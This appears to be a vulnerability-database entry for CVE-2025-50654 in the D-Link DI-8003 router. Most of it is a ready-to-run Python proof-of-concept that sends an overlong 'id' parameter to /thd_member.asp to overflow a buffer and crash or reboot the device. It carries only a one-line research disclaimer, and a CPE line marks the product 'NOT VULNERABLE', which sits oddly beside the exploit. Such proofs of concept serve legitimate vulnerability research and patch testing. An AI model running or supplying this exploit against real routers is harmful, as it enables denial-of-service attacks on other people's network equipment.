cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DI-8003 16.07.26A1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def check_vulnerability(target_ip):
"""
PoC for CVE-2025-50654: Buffer Overflow in D-Link DI-8003
"""
url = f"http://{target_ip}/thd_member.asp"
# Sending a long string to trigger buffer overflow in 'id' parameter
payload = {"id": "A" * 1000}
try:
print(f"Sending request to {url}...")
response = requests.get(url, params=payload, timeout=5)
print(f"Request sent. Status Code: {response.status_code}")
print("Check if the device has crashed or rebooted.")
except requests.exceptions.RequestException as e:
print(f"Request failed (Device may have crashed): {e}")
if __name__ == "__main__":
target = "<TARGET_IP>"
check_vulnerability(target)